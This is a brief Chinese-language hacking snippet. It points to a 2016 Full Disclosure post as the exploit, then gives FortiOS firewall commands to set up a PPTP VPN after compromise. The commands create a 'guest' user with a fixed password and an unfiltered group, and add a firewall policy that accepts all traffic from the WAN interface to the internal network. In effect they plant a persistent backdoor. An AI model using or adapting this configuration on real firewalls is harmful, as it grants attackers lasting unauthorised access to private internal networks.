利用脚本
http://seclists.org/fulldisclosure/2016/Jan/26
另外可以建立vpn
代码如下:
config vpn pptp

set eip 192.168.200.100
set sip 192.168.200.1
set usrgrp Guest-group
end
config user local
edit "guest"
set type password
set passwd vvppnn112233
next
end
config user group
edit "Guest-group"
set profile "unfiltered"
set member "guest"
next
end
config firewall policy
edit 9
set srcintf "wan1"
set dstintf "internal"
set srcaddr "all"
set dstaddr "all"
set action accept
set schedule "always"
set service "ANY"
next
end
